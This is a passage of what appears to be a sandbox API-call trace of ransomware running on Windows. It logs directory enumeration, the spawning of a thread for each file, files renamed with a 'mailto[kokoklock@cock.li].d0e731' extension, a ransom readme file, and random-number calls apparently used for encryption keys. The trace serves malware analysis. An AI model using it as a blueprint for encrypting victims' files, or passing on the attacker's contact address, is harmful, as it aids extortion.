Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.512] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\wordetw.man.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.512] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.512] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f84e18) returned 1 [0176.512] RtlExitUserThread (Status=0x0) Thread: id = 2547 os_tid = 0x11b4 [0176.514] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x68) returned 0x3057980 [0176.514] wcscpy (in: _Dest=0x3057980, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh" [0176.514] wcscat (in: _Dest=0x3057980, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\" [0176.515] wcscat (in: _Dest=0x3057980, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\*") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\*" [0176.515] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fef070 [0176.515] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\*", lpFindFileData=0x2fef070 | out: lpFindFileData=0x2fef070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x45f7af50, ftCreationTime.dwHighDateTime=0x1d4c8ab, ftLastAccessTime.dwLowDateTime=0x86dbe140, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x86dbe140, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fbe0 [0176.518] wcscmp (_String1=".", _String2=".") returned 0 [0176.518] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2fef070 | out: lpFindFileData=0x2fef070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x45f7af50, ftCreationTime.dwHighDateTime=0x1d4c8ab, ftLastAccessTime.dwLowDateTime=0x86dbe140, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x86dbe140, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0176.518] wcscmp (_String1="..", _String2=".") returned 1 [0176.518] wcscmp (_String1="..", _String2="..") returned 0 [0176.518] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2fef070 | out: lpFindFileData=0x2fef070*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd43d0870, ftCreationTime.dwHighDateTime=0x1d4c714, ftLastAccessTime.dwLowDateTime=0x25c1a2b0, ftLastAccessTime.dwHighDateTime=0x1d4cc64, ftLastWriteTime.dwLowDateTime=0x86cb3085, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x3a76, dwReserved0=0x0, dwReserved1=0x0, cFileName="7zs5QnsWs0jJ.odp.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="7ZS5QN~1.D0E")) returned 1 [0176.518] wcscmp (_String1="7zs5QnsWs0jJ.odp.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.518] wcscmp (_String1="7zs5QnsWs0jJ.odp.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.518] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc8) returned 0x2fc3618 [0176.518] wcscpy (in: _Dest=0x2fc3618, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh" [0176.518] wcscat (in: _Dest=0x2fc3618, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\" [0176.518] wcscat (in: _Dest=0x2fc3618, _Source="7zs5QnsWs0jJ.odp.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\7zs5QnsWs0jJ.odp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\7zs5QnsWs0jJ.odp.mailto[kokoklock@cock.li].d0e731" [0176.615] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fc3618, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f8 [0176.616] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2fef070 | out: lpFindFileData=0x2fef070*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e14be10, ftCreationTime.dwHighDateTime=0x1d4cd0e, ftLastAccessTime.dwLowDateTime=0xee6c9520, ftLastAccessTime.dwHighDateTime=0x1d4c733, ftLastWriteTime.dwLowDateTime=0x86cd9325, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1599e, dwReserved0=0x0, dwReserved1=0x0, cFileName="B1EA0bJEwsMaRgXKVN.doc.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="B1EA0B~1.D0E")) returned 1 [0176.616] wcscmp (_String1="B1EA0bJEwsMaRgXKVN.doc.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.616] wcscmp (_String1="B1EA0bJEwsMaRgXKVN.doc.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.616] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd4) returned 0x2f97598 [0176.616] wcscpy (in: _Dest=0x2f97598, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh" [0176.616] wcscat (in: _Dest=0x2f97598, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\" [0176.616] wcscat (in: _Dest=0x2f97598, _Source="B1EA0bJEwsMaRgXKVN.doc.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\B1EA0bJEwsMaRgXKVN.doc.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\B1EA0bJEwsMaRgXKVN.doc.mailto[kokoklock@cock.li].d0e731" [0176.616] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f97598, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x410 [0176.617] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2fef070 | out: lpFindFileData=0x2fef070*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86cb3085, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x86cb3085, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x86cb3085, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0176.617] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0176.617] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0176.617] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2fef070 | out: lpFindFileData=0x2fef070*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe301b20, ftCreationTime.dwHighDateTime=0x1d4caf9, ftLastAccessTime.dwLowDateTime=0x457a6550, ftLastAccessTime.dwHighDateTime=0x1d4cc56, ftLastWriteTime.dwLowDateTime=0x86cff489, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1094b, dwReserved0=0x0, dwReserved1=0x0, cFileName="e2DpsmNnI Y.odp.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="E2DPSM~1.D0E")) returned 1 [0176.617] wcscmp (_String1="e2DpsmNnI Y.odp.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.617] wcscmp (_String1="e2DpsmNnI Y.odp.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.617] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc6) returned 0x2fc3208 [0176.617] wcscpy (in: _Dest=0x2fc3208, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh" [0176.617] wcscat (in: _Dest=0x2fc3208, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\" [0176.617] wcscat (in: _Dest=0x2fc3208, _Source="e2DpsmNnI Y.odp.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\e2DpsmNnI Y.odp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\e2DpsmNnI Y.odp.mailto[kokoklock@cock.li].d0e731" [0176.617] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fc3208, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x414 [0176.618] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2fef070 | out: lpFindFileData=0x2fef070*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb352420, ftCreationTime.dwHighDateTime=0x1d4c6fb, ftLastAccessTime.dwLowDateTime=0xd357b6d0, ftLastAccessTime.dwHighDateTime=0x1d4d420, ftLastWriteTime.dwLowDateTime=0x86d256c8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xf1c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eOORDUlzfUYzz-kxGtu.ods.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EOORDU~1.D0E")) returned 1 [0176.618] wcscmp (_String1="eOORDUlzfUYzz-kxGtu.ods.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.618] wcscmp (_String1="eOORDUlzfUYzz-kxGtu.ods.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.618] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd6) returned 0x2f97678 [0176.618] wcscpy (in: _Dest=0x2f97678, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh" [0176.618] wcscat (in: _Dest=0x2f97678, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\" [0176.618] wcscat (in: _Dest=0x2f97678, _Source="eOORDUlzfUYzz-kxGtu.ods.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\eOORDUlzfUYzz-kxGtu.ods.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\eOORDUlzfUYzz-kxGtu.ods.mailto[kokoklock@cock.li].d0e731" [0176.618] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f97678, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x418 [0176.619] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2fef070 | out: lpFindFileData=0x2fef070*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4492c8e0, ftCreationTime.dwHighDateTime=0x1d4cbb0, ftLastAccessTime.dwLowDateTime=0xe82b06e0, ftLastAccessTime.dwHighDateTime=0x1d4ca2d, ftLastWriteTime.dwLowDateTime=0x86d71cea, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x17caf, dwReserved0=0x0, dwReserved1=0x0, cFileName="H76nbsmL.xls.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="H76NBS~1.D0E")) returned 1 [0176.619] wcscmp (_String1="H76nbsmL.xls.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.619] wcscmp (_String1="H76nbsmL.xls.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.619] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x2fa7158 [0176.619] wcscpy (in: _Dest=0x2fa7158, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh" [0176.619] wcscat (in: _Dest=0x2fa7158, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\" [0176.619] wcscat (in: _Dest=0x2fa7158, _Source="H76nbsmL.xls.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\H76nbsmL.xls.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\H76nbsmL.xls.mailto[kokoklock@cock.li].d0e731" [0176.619] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa7158, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x420 [0176.619] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2fef070 | out: lpFindFileData=0x2fef070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47143750, ftCreationTime.dwHighDateTime=0x1d4c644, ftLastAccessTime.dwLowDateTime=0x89689df2, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x89689df2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Iek-", cAlternateFileName="")) returned 1 [0176.620] wcscmp (_String1="Iek-", _String2=".") returned 1 [0176.620] wcscmp (_String1="Iek-", _String2="..") returned 1 [0176.620] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x6e) returned 0x2f88fa0 [0176.620] wcscpy (in: _Dest=0x2f88fa0, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh" [0176.620] wcscat (in: _Dest=0x2f88fa0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\" [0176.620] wcscat (in: _Dest=0x2f88fa0, _Source="Iek-" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-" [0176.620] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f88fa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b4 [0176.620] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2fef070 | out: lpFindFileData=0x2fef070*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bb5cd90, ftCreationTime.dwHighDateTime=0x1d4d573, ftLastAccessTime.dwLowDateTime=0x6e59f8f0, ftLastAccessTime.dwHighDateTime=0x1d4d1ab, ftLastWriteTime.dwLowDateTime=0x86d97f4f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xdb24, dwReserved0=0x0, dwReserved1=0x0, cFileName="pSqVT.xls.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="PSQVTX~1.D0E")) returned 1 [0176.620] wcscmp (_String1="pSqVT.xls.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.620] wcscmp (_String1="pSqVT.xls.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.621] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xba) returned 0x2fa67f8 [0176.621] wcscpy (in: _Dest=0x2fa67f8, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh" [0176.621] wcscat (in: _Dest=0x2fa67f8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\" [0176.621] wcscat (in: _Dest=0x2fa67f8, _Source="pSqVT.xls.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\pSqVT.xls.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\pSqVT.xls.mailto[kokoklock@cock.li].d0e731" [0176.621] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa67f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x840 [0176.621] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2fef070 | out: lpFindFileData=0x2fef070*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44ba1e0, ftCreationTime.dwHighDateTime=0x1d4d09f, ftLastAccessTime.dwLowDateTime=0x8e722550, ftLastAccessTime.dwHighDateTime=0x1d4cb29, ftLastWriteTime.dwLowDateTime=0x86dbe140, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x5854, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pxl_a_n.xls.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="PXL_A_~1.D0E")) returned 1 [0176.621] wcscmp (_String1="Pxl_a_n.xls.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.621] wcscmp (_String1="Pxl_a_n.xls.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.621] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xbe) returned 0x2fa7608 [0176.621] wcscpy (in: _Dest=0x2fa7608, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh" [0176.621] wcscat (in: _Dest=0x2fa7608, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\" [0176.621] wcscat (in: _Dest=0x2fa7608, _Source="Pxl_a_n.xls.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Pxl_a_n.xls.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Pxl_a_n.xls.mailto[kokoklock@cock.li].d0e731" [0176.622] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa7608, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x66c [0176.622] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2fef070 | out: lpFindFileData=0x2fef070*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44ba1e0, ftCreationTime.dwHighDateTime=0x1d4d09f, ftLastAccessTime.dwLowDateTime=0x8e722550, ftLastAccessTime.dwHighDateTime=0x1d4cb29, ftLastWriteTime.dwLowDateTime=0x86dbe140, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x5854, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pxl_a_n.xls.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="PXL_A_~1.D0E")) returned 0 [0176.622] FindClose (in: hFindFile=0x2f7fbe0 | out: hFindFile=0x2f7fbe0) returned 1 [0176.623] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fef070) returned 1 [0176.623] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057980) returned 1 [0176.623] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30576e0) returned 1 [0176.623] RtlExitUserThread (Status=0x0) Thread: id = 2548 os_tid = 0x11b8 [0176.518] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\gfAAkZLyyggYVX.ots.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\gfaakzlyyggyvx.ots.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.519] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\gfAAkZLyyggYVX.ots.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0176.519] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\gfAAkZLyyggYVX.ots.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\gfaakzlyyggyvx.ots.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0176.520] GetFileSizeEx (in: hFile=0x6f8, lpFileSize=0x2697fbe8 | out: lpFileSize=0x2697fbe8*=85779) returned 1 [0176.520] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x14f0f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.520] ReadFile (in: hFile=0x6f8, lpBuffer=0x2697fbbc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2697fbb8, lpOverlapped=0x0 | out: lpBuffer=0x2697fbbc*, lpNumberOfBytesRead=0x2697fbb8*=0x4, lpOverlapped=0x0) returned 1 [0176.521] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.521] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94cc0 [0176.521] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94ce8 [0176.521] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94a40 [0176.521] NtQuerySystemTime (in: CurrentTime=0x2697fb94 | out: CurrentTime=0x2697fb94*=132121213338299742) returned 0x0 [0176.521] RtlRandom (in: Seed=0x2697fba0 | out: Seed=0x2697fba0) returned 0x5937335 [0176.521] RtlRandom (in: Seed=0x2697fba0 | out: Seed=0x2697fba0) returned 0x164440b7 [0176.521] RtlRandom (in: Seed=0x2697fba0 | out: Seed=0x2697fba0) returned 0x76e21840 [0176.521] RtlRandom (in: Seed=0x2697fba0 | out: Seed=0x2697fba0) returned 0xd4f6fd02 [0176.521] RtlRandom (in: Seed=0x2697fba0 | out: Seed=0x2697fba0) returned 0xebf7f627 [0176.521] RtlRandom (in: Seed=0x2697fba0 | out: Seed=0x2697fba0) returned 0x1cbdeb55 [0176.521] RtlRandom (in: Seed=0x2697fba0 | out: Seed=0x2697fba0) returned 0xb5c5d8db [0176.522] RtlRandom (in: Seed=0x2697fba0 | out: Seed=0x2697fba0) returned 0xe038ced1 [0176.522] RtlRandom (in: Seed=0x2697fba0 | out: Seed=0x2697fba0) returned 0x94654fc8 [0176.522] RtlRandom (in: Seed=0x2697fba0 | out: Seed=0x2697fba0) returned 0xa26f0cf7 [0176.522] RtlRandom (in: Seed=0x2697fba0 | out: Seed=0x2697fba0) returned 0xa93a9a54 [0176.522] RtlRandom (in: Seed=0x2697fba0 | out: Seed=0x2697fba0) returned 0x8c5af448 [0176.522] RtlRandom (in: Seed=0x2697fba0 | out: Seed=0x2697fba0) returned 0x7cee0560 [0176.522] RtlRandom (in: Seed=0x2697fba0 | out: Seed=0x2697fba0) returned 0x3eb9106 [0176.522] RtlRandom (in: Seed=0x2697fba0 | out: Seed=0x2697fba0) returned 0x8ac5b017 [0176.522] RtlRandom (in: Seed=0x2697fba0 | out: Seed=0x2697fba0) returned 0x25fd2134 [0176.522] RtlRandom (in: Seed=0x2697fba0 | out: Seed=0x2697fba0) returned 0x50e265b [0176.522] RtlRandom (in: Seed=0x2697fba0 | out: Seed=0x2697fba0) returned 0xb0379d6d [0176.522] RtlRandom (in: Seed=0x2697fba0 | out: Seed=0x2697fba0) returned 0x49d58df1 [0176.522] RtlRandom (in: Seed=0x2697fba0 | out: Seed=0x2697fba0) returned 0x9c06f959 [0176.522] RtlRandom (in: Seed=0x2697fba0 | out: Seed=0x2697fba0) returned 0xb054305b [0176.522] RtlRandom (in: Seed=0x2697fba0 | out: Seed=0x2697fba0) returned 0xb87c1952 [0176.522] RtlRandom (in: Seed=0x2697fba0 | out: Seed=0x2697fba0) returned 0x46b9a393 [0176.522] RtlRandom (in: Seed=0x2697fba0 | out: Seed=0x2697fba0) returned 0x91878f0c [0176.522] RtlRandom (in: Seed=0x2697fba0 | out: Seed=0x2697fba0) returned 